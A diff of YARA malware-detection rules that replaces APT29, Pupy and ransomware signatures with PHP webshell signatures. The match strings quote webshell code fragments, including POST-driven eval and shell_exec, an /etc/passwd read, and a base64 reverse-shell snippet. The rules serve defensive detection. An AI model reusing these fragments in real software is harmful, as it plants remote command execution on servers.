+		$s1 = "<input type='submit' value='  open (shill.txt) '>" fullword
+		$s4 = "var_dump(curl_exec($ch));" fullword
+		$s7 = "if(empty($_POST['Mohajer22'])){" fullword
+		$s10 = "$m=$_POST['curl'];" fullword
+		$s13 = "$u1p=$_POST['copy'];" fullword
+		$s14 = "if(empty(\\$_POST['cmd'])){" fullword
+		$s15 = "$string = explode(\"|\",$string);" fullword
+		$s16 = "$stream = imap_open(\"/etc/passwd\", \"\", \"\");" fullword
 
 	condition:
-		1 of them
+		5 of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Boombox_PDF_Masq_May21_1 : FILE
+rule SIGNATURE_BASE_Webshell_Generic_PHP_3
 {
 	meta:
-		description = "Detects PDF documents as used by BoomBox as described in APT29 NOBELIUM report"
+		description = "PHP Webshells Github Archive"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bdfb9600-edda-5c8c-ab23-14fb71c8e647"
-		date = "2021-05-27"
+		id = "ff7c6534-efcf-565e-bfc0-1eaa2e9d7b7d"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_nobelium_may21.yar#L145-L164"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8f1514648b2b797adfe3f8f5acb577c26707dfe1da942c9634be3d88a180a407"
-		score = 70
-		quality = 35
-		tags = "FILE"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6957-L6976"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5c264a294fc75cf2cadd3dba61bc64658989ffe5ddecfa18ba18e66492ad3c71"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "d829e87b3ce34460088c7775a60bded64e530cd4"
+		hash1 = "d710c95d9f18ec7c76d9349a28dd59c3605c02be"
+		hash2 = "f044d44e559af22a1a7f9db72de1206f392b8976"
+		hash3 = "41780a3e8c0dc3cbcaa7b4d3c066ae09fb74a289"
 
 	strings:
-		$ah1 = { 25 50 44 46 2d 31 2e 33 0a 25 }
-		$af1 = { 0a 25 25 45 4f 46 0a }
-		$fp1 = "endobj" ascii
-		$fp2 = "endstream" ascii
-		$fp3 = { 20 6F 62 6A 0A }
+		$s0 = "header('Content-Length:'.filesize($file).'');" fullword
+		$s4 = "<textarea name=\\\"command\\\" rows=\\\"5\\\" cols=\\\"150\\\">\".@$_POST['comma"
+		$s7 = "if(filetype($dir . $file)==\"file\")$files[]=$file;" fullword
+		$s14 = "elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} " fullword
+		$s20 = "$info .= (($perms & 0x0004) ? 'r' : '-');" fullword
 
 	condition:
-		$ah1 at 0 and $af1 at ( filesize -7) and filesize <100KB and not 1 of ($fp*) and math.entropy(16, filesize )>7
+		all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Nativezone_Loader_May21_1 : FILE
+rule SIGNATURE_BASE_Webshell_Generic_PHP_4
 {
 	meta:
-		description = "Detects NativeZone loader as described in APT29 NOBELIUM report"
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, load_shell.php, nshell.php, Loaderz WEB Shell.php, stres.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "02d9257d-f439-5071-96b0-a973b088e329"
-		date = "2021-05-27"
+		id = "2932cb85-927e-536b-b8d8-a0ac0d1ef8ec"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_nobelium_may21.yar#L166-L186"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a02fd6fcd7423781bbd2e4458bd61d28e16a5b1a73b1682e63db5c86d53c7da4"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6977-L6999"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "18db4c6728f0575b4d8388dab9563ee98ca9aa5fdc8534bf76856a87820b4596"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "136f4083b67bc8dc999eb15bb83042aeb01791fc0b20b5683af6b4ddcf0bbc7d"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
+		hash2 = "86bc40772de71b1e7234d23cab355e1ff80c474d"
+		hash3 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
+		hash4 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
 
 	strings:
-		$s1 = "\\SystemCertificates\\Lib\\CertPKIProvider.dll" ascii
-		$s2 = "rundll32.exe %s %s" ascii fullword
-		$s3 = "eglGetConfigs" ascii fullword
-		$op1 = { 80 3d 74 8c 01 10 00 0f 85 96 00 00 00 33 c0 40 b9 6c 8c 01 10 87 01 33 db 89 5d fc }
-		$op2 = { 8b 46 18 e9 30 ff ff ff 90 87 2f 00 10 90 2f 00 10 }
-		$op3 = { e8 14 dd ff ff 8b f1 80 3d 74 8c 01 10 00 0f 85 96 00 00 00 33 c0 40 b9 6c 8c 01 10 87 01 }
+		$s0 = "if ($filename != \".\" and $filename != \"..\"){" fullword
+		$s2 = "$owner[\"write\"] = ($mode & 00200) ? 'w' : '-';" fullword
+		$s5 = "$owner[\"execute\"] = ($mode & 00100) ? 'x' : '-';" fullword
+		$s6 = "$world[\"write\"] = ($mode & 00002) ? 'w' : '-';" fullword
+		$s7 = "$world[\"execute\"] = ($mode & 00001) ? 'x' : '-';" fullword
+		$s10 = "foreach ($arr as $filename) {" fullword
+		$s19 = "else if( $mode & 0x6000 ) { $type='b'; }" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and 3 of them or 4 of them
+		all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Boombox_May21_2 : FILE
+rule SIGNATURE_BASE_Webshell_GFS
 {
 	meta:
-		description = "Detects BoomBox malware used by APT29 / NOBELIUM"
+		description = "PHP Webshells Github Archive - from files GFS web-shell ver 3.1.7 - PRiV8.php, Predator.php, GFS_web-shell_ver_3.1.7_-_PRiV8.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a4144c00-48b2-5520-b773-5d0a5de95fb1"
-		date = "2021-05-29"
+		id = "bde6cfd8-466f-528a-b1e3-f874aa778010"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_nobelium_may21.yar#L188-L216"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2a3829e704af2464639d07e8e7952669281e20cf2a7ac487d5d1eee021d08b35"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7001-L7017"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "72a3f117cb11e1461b760c47a3de74283640b6e1daa87b24e45210213bb76609"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "0acb884f2f4cfa75b726cb8290b20328c8ddbcd49f95a1d761b7d131b95bafec"
-		hash2 = "8199f309478e8ed3f03f75e7574a3e9bce09b4423bd7eb08bb5bff03af2b7c27"
-		hash3 = "cf1d992f776421f72eabc31d5afc2f2067ae856f1c9c1d6dc643a67cb9349d8c"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "c2f1ef6b11aaec255d4dd31efad18a3869a2a42c"
+		hash1 = "34f6640985b07009dbd06cd70983451aa4fe9822"
+		hash2 = "d25ef72bdae3b3cb0fc0fdd81cfa58b215812a50"
 
 	strings:
-		$x1 = "\\Microsoft\\NativeCache\\NativeCacheSvc.dll" wide
-		$x2 = "\\NativeCacheSvc.dll _configNativeCache" wide
-		$a1 = "/content.dropboxapi.com" wide fullword
-		$s1 = "rundll32.exe {0} {1}" wide fullword
-		$s2 = "\\\\CertPKIProvider.dll" wide
-		$s3 = "/tmp/readme.pdf" wide
-		$s4 = "temp/[^\"]*)\"" wide fullword
-		$op1 = { 00 78 00 2d 00 41 00 50 00 49 00 2d 00 41 00 72 00 67 00 01 2f 4f 00 72 00 }
-		$op2 = { 25 72 98 01 00 70 6f 34 00 00 0a 25 6f 35 00 00 0a 72 71 02 00 70 72 }
-		$op3 = { 4d 05 20 00 12 80 91 04 20 01 08 0e 04 20 00 12 }
+		$s0 = "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==\";" fullword
+		$s1 = "lIENPTk47DQpleGl0IDA7DQp9DQp9\";" fullword
+		$s2 = "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShm"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <40KB and 3 of them or 4 of them
+		all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Malware_May21_2 : FILE
+rule SIGNATURE_BASE_Webshell__Crystalshell_V_1_Sosyete_Stres
 {
 	meta:
-		description = "Detects malware used by APT29 / NOBELIUM"
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, sosyete.php, stres.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b1462b4b-227f-5aeb-92ea-bda6a86831c7"
-		date = "2021-05-29"
+		id = "774f7f4c-724a-5eb0-b5de-44b389fd593d"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_nobelium_may21.yar#L218-L234"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "18a52f5fd71455b8564d4b485c233dd358a304bfddc5e6fb604b8e5a2a1949a3"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7018-L7038"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "78aeabe38f7457060d81c3863098b5e424bc38f13e9e86bbb6ea54827f27afcd"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "292e5b0a12fea4ff3fc02e1f98b7a370f88152ce71fe62670dd2f5edfaab2ff8"
-		hash2 = "776014a63bf3cc7034bd5b6a9c36c75a930b59182fe232535bb7a305e539967b"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "e32405e776e87e45735c187c577d3a4f98a64059"
+		hash2 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
 
 	strings:
-		$op1 = { 48 03 c8 42 0f b6 04 21 88 03 0f b6 43 01 8b c8 83 e0 0f 48 83 e1 f0 48 03 c8 }
-		$op2 = { 48 03 c8 42 0f b6 04 21 88 43 01 41 0f b6 c7 8b c8 83 e0 0f 48 83 e1 f0 48 03 c8 }
-		$op3 = { 45 0f b6 43 ff 41 8b c2 99 44 88 03 41 0f b6 2b 83 e2 03 03 c2 40 88 6b 01 }
+		$s1 = "A:visited { COLOR:blue; TEXT-DECORATION: none}" fullword
+		$s4 = "A:active {COLOR:blue; TEXT-DECORATION: none}" fullword
+		$s11 = "scrollbar-darkshadow-color: #101842;" fullword
+		$s15 = "<a bookmark=\"minipanel\">" fullword
+		$s16 = "background-color: #EBEAEA;" fullword
+		$s18 = "color: #D5ECF9;" fullword
+		$s19 = "<center><TABLE style=\"BORDER-COLLAPSE: collapse\" height=1 cellSpacing=0 border"
 
 	condition:
-		filesize <2200KB and all of them
+		all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Stageless_Loader_May21_2 : FILE
+rule SIGNATURE_BASE_Webshell_Generic_PHP_10
 {
 	meta:
-		description = "Detects stageless loader as used by APT29 / NOBELIUM"
+		description = "PHP Webshells Github Archive - from files Cyber Shell.php, cybershell.php, Cyber Shell (v 1.0).php, PHPRemoteView.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7b83d327-52fc-5401-ae35-00f6b825678a"
-		date = "2021-05-29"
+		id = "f52013d6-72ce-544c-a7ef-ae2a2ea87108"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_nobelium_may21.yar#L236-L258"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "850f6a1ad342fd5e4bb29c7bf90a032ddd8ac9d2eac5ffcbedf43e4d04b178f5"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7039-L7059"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0bf731edef55cde5d2ad16510fb9f1a240c1a06b535af7e13300fdbea470df74"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "a4f1f09a2b9bc87de90891da6c0fca28e2f88fd67034648060cef9862af9a3bf"
-		hash2 = "c4ff632696ec6e406388e1d42421b3cd3b5f79dcb2df67e2022d961d5f5a9e78"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "ef7f7c45d26614cea597f2f8e64a85d54630fe38"
+		hash1 = "cabf47b96e3b2c46248f075bdbc46197db28a25f"
+		hash2 = "9e165d4ed95e0501cd9a90155ac60546eb5b1076"
+		hash3 = "7d5b54c7cab6b82fb7d131d7bbb989fd53cb1b57"
 
 	strings:
-		$x1 = "DLL_stageless.dll" ascii fullword
-		$s1 = "c:\\users\\devuser\\documents" ascii fullword nocase
-		$s2 = "VisualServiceComponent" ascii fullword
-		$s3 = "CheckUpdteFrameJavaCurrentVersion" ascii fullword
-		$op1 = { a3 d? 6? 04 10 ff d6 33 05 00 ?0 0? 10 68 d8 d4 00 10 57 a3 d? 6? 04 10 ff d6 33 05 00 ?0 0? 10 }
-		$op2 = { ff d6 33 05 00 ?0 0? 10 68 d8 d4 00 10 57 a3 d? 6? 04 10 ff d6 33 05 00 ?0 0? 10 68 e8 d4 00 10 }
+		$s2 = "$world[\"execute\"] = ($world['execute']=='x') ? 't' : 'T'; " fullword
+		$s6 = "$owner[\"write\"] = ($mode & 00200) ? 'w' : '-'; " fullword
+		$s11 = "$world[\"execute\"] = ($mode & 00001) ? 'x' : '-'; " fullword
+		$s12 = "else if( $mode & 0xA000 ) " fullword
+		$s17 = "$s=sprintf(\"%1s\", $type); " fullword
+		$s20 = "font-size: 8pt;" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <900KB and 2 of them or 3 of them
+		all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Malware_May21_3 : FILE
+rule SIGNATURE_BASE_Webshell_Generic_PHP_11
 {
 	meta:
-		description = "Detects malware used by APT29 / NOBELIUM"
+		description = "PHP Webshells Github Archive - from files rootshell.php, Rootshell.v.1.0.php, s72 Shell v1.1 Coding.php, s72_Shell_v1.1_Coding.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "89cb6884-4242-5b5a-b0ac-b31041dd261c"
-		date = "2021-05-29"
+		id = "590c5320-ef85-5522-94fd-4619749f7eb1"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_nobelium_may21.yar#L260-L282"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "472acd1d6daf3480de59ecd3fa038d644e339dcc979cf7e56617eadc6cb32dc5"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7060-L7082"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5a559a26314ce603d6454efb71f1243bf89daed920ca2a495a51b94a4cca0045"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "2a352380d61e89c89f03f4008044241a38751284995d000c73acf9cad38b989e"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "31a82cbee8dffaf8eb7b73841f3f3e8e9b3e78cf"
+		hash1 = "838c7191cb10d5bb0fc7460b4ad0c18c326764c6"
+		hash2 = "8dfcd919d8ddc89335307a7b2d5d467b1fd67351"
+		hash3 = "80aba3348434c66ac471daab949871ab16c50042"
 
 	strings:
-		$s1 = "Win32Project1.dll" ascii fullword
-		$op1 = { 59 c3 6a 08 68 70 5e 01 10 e8 d2 8c ff ff 8b 7d 08 8b c7 c1 f8 05 }
-		$op2 = { 8d 4d f0 e8 c4 12 00 00 68 64 5b 01 10 8d 45 f0 c7 45 f0 6c 01 01 10 50 e8 ea 13 00 00 cc }
-		$op4 = { 40 c3 8b 65 e8 e8 a6 86 ff ff cc 6a 0c 68 88 60 01 10 e8 b0 4d ff ff }
-		$xc1 = { 25 73 25 73 00 00 00 00 2F 65 2C 20 00 00 00 00
-               43 00 3A 00 5C 00 77 00 69 00 6E 00 64 00 6F 00
-               77 00 73 00 5C 00 65 00 78 00 70 00 6C 00 6F 00
-               72 00 65 00 72 00 2E 00 65 00 78 00 65 }
+		$s5 = "$filename = $backupstring.\"$filename\";" fullword
+		$s6 = "while ($file = readdir($folder)) {" fullword
+		$s7 = "if($file != \".\" && $file != \"..\")" fullword
+		$s9 = "$backupstring = \"copy_of_\";" fullword
+		$s10 = "if( file_exists($file_name))" fullword
+		$s13 = "global $file_name, $filename;" fullword
+		$s16 = "copy($file,\"$filename\");" fullword
+		$s18 = "<td width=\"49%\" height=\"142\">" fullword
 
 	condition:
-		filesize <3000KB and ($xc1 or 3 of them )
+		all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Malware_May21_4 : FILE
+rule SIGNATURE_BASE_Webshell__Findsock_Php_Findsock_Shell_Php_Reverse_Shell
 {
 	meta:
-		description = "Detects malware used by APT29 / NOBELIUM"
+		description = "PHP Webshells Github Archive - from files findsock.c, php-findsock-shell.php, php-reverse-shell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "56193475-52b4-5720-abc5-72249e2a0c37"
-		date = "2021-05-29"
+		id = "6567c8f1-bd7f-5844-b937-3db2d8eb7408"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_nobelium_may21.yar#L284-L305"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7d5858cc6dab094d5dceab75a2002d9145537008241a08ac7bd399c9d6e6c270"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7083-L7097"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2459f7114482e17f087bda4b638c29e237f2f3cb5a9e41e326ed65fc1834b6be"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "3b94cc71c325f9068105b9e7d5c9667b1de2bde85b7abc5b29ff649fd54715c4"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "5622c9841d76617bfc3cd4cab1932d8349b7044f"
+		hash1 = "4a20f36035bbae8e342aab0418134e750b881d05"
+		hash2 = "40dbdc0bdf5218af50741ba011c5286a723fa9bf"
 
 	strings:
-		$s1 = "KM.FileSystem.dll" ascii fullword
-		$op1 = { 80 3d 50 6b 04 10 00 0f 85 96 00 00 00 33 c0 40 b9 48 6b 04 10 87 01 33 db 89 5d fc }
-		$op2 = { c3 33 c0 b9 7c 6f 04 10 40 87 01 c3 8b ff 55 }
-		$op3 = { 8d 4d f4 e8 53 ff ff ff 68 d0 22 01 10 8d 45 f4 50 e8 d8 05 00 00 cc 8b 41 04 }
-		$xc1 = { 2E 64 6C 6C 00 00 00 00 41 53 4B 4F 44 00 00 00
-               53 75 63 63 65 73 73 }
+		$s1 = "// me at pentestmonkey@pentestmonkey.net" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and ($xc1 or 3 of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Pupy_Backdoor : FILE
+rule SIGNATURE_BASE_Webshell_Generic_PHP_6
 {
 	meta:
-		description = "Detects Pupy backdoor"
+		description = "PHP Webshells Github Archive"
 		author = "Florian Roth (Nextron Systems)"
-		id = "11509847-3454-5412-b3e1-02ad9cccc6ae"
-		date = "2017-08-11"
+		id = "e61ec617-565a-5b24-82f4-3677ef379a06"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/n1nj4sec/pupy-binaries"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_pupy_rat.yar#L13-L44"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0b12376c9cddc71f584314b07fb29fac189349b526c6d5028f475fa3984401ae"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7098-L7119"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7b3f2ca3cb9516ddda1b9cac2ca5eb5d9e62e1839dad041f69a3dc7a2a186897"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ae93714203c7ab4ab73f2ad8364819d16644c7649ea04f483b46924bd5bc0153"
-		hash2 = "83380f351214c3bd2c8e62430f70f8f90d11c831695027f329af04806b9f8ea4"
-		hash3 = "90757c1ae9597bea39bb52a38fb3d497358a2499c92c7636d71b95ec973186cc"
-		hash4 = "20e19817f72e72f87c794843d46c55f2b8fd091582bceca0460c9f0640c7bbd8"
-		hash5 = "06bb41c12644ca1761bcb3c14767180b673cb9d9116b555680073509e7063c3e"
-		hash6 = "be83c513b24468558dc7df7f63d979af41287e568808ed8f807706f6992bfab2"
-		hash7 = "8784c317e6977b4c201393913e76fc11ec34ea657de24e957d130ce9006caa01"
+		super_rule = 1
+		hash0 = "1a08f5260c4a2614636dfc108091927799776b13"
+		hash1 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash2 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
+		hash3 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
+		hash4 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
 
 	strings:
-		$x1 = "reflectively inject a dll into a process." fullword ascii
-		$x2 = "ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid" fullword ascii
-		$x3 = "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null" fullword ascii
-		$x4 = "reflective_inject_dll" fullword ascii
-		$x5 = "ld_preload_inject_dll" fullword ascii
-		$x6 = "get_pupy_config() -> string" fullword ascii
-		$x7 = "[INJECT] inject_dll. OpenProcess failed." fullword ascii
-		$x8 = "reflective_inject_dll" fullword ascii
-		$x9 = "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)" fullword ascii
-		$x10 = "linux_inject_main" fullword ascii
+		$s2 = "@eval(stripslashes($_POST['phpcode']));" fullword
+		$s5 = "echo shell_exec($com);" fullword
+		$s7 = "if($sertype == \"winda\"){" fullword
+		$s8 = "function execute($com)" fullword
+		$s12 = "echo decode(execute($cmd));" fullword
+		$s15 = "echo system($com);" fullword
 
 	condition:
-		(( uint16(0)==0x457f or uint16(0)==0x5a4d) and filesize <7000KB and 1 of them ) or 3 of them or ( uint16(0)==0x5a4d and pe.imphash()=="84a69bce2ff6d9f866b7ae63bd70b163")
+		4 of them
 }
-rule SIGNATURE_BASE_SUSP_Deviceguard_WDS_Evasion : FILE
+rule SIGNATURE_BASE_Unpack_Injectt
 {
 	meta:
-		description = "Detects WDS file used to circumvent Device Guard"
+		description = "Webshells Auto-generated - file Injectt.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "469b60d4-43d3-5a85-aa51-e453d8c858c0"
-		date = "2015-01-01"
-		modified = "2023-01-06"
-		reference = "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_deviceguard_evasion.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4be9d7c34f7bafeb53db4fc1262a3692493b2253b0de7dc97480b01b62a9f12c"
-		score = 70
+		id = "80dc3086-41a6-5e30-bbf4-463500fe5e33"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7121-L7134"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8a5d2158a566c87edc999771e12d42c5"
+		logic_hash = "d8e9ed4f2604617bd6410f36ab827affa3cc6729ba996d0d9cd9c8eb0fd96533"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "r @$ip=@$t0" ascii
-		$s2 = ";eb @$t0+" ascii
-		$s3 = ".foreach /pS" ascii
+		$s2 = "%s -Run                              -->To Install And Run The Service"
+		$s3 = "%s -Uninstall                        -->To Uninstall The Service"
+		$s4 = "(STANDARD_RIGHTS_REQUIRED |SC_MANAGER_CONNECT |SC_MANAGER_CREATE_SERVICE |SC_MAN"
 
 	condition:
-		filesize <50KB and all of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Ransomware_Wadhrama : FILE
+rule SIGNATURE_BASE_Hytop_Devpack_Fso
 {
 	meta:
-		description = "Detects Wadhrama Ransomware via Imphash"
+		description = "Webshells Auto-generated - file fso.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f7de40e9-fe22-5f14-abc6-f6611a4382ac"
-		date = "2019-04-07"
